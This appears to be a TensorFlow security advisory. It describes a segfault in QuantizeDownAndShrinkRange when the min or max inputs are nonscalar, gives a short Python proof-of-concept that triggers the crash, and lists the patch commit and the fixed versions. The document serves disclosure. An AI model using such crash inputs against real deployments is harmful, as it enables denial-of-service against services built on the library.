Impact

If QuantizeDownAndShrinkRange is given nonscalar inputs for input min or input max, it results in a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf

out type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input min = tf.constant([], shape=[0], dtype=tf.float32)
input max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizeDownAndShrinkRange(input=input, input min=input min, input max=input max, out type=out type)

Patches

We have patched the issue in GitHub commit 73ad1815ebcfeb7c051f9c2f7ab5024380ca8613.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
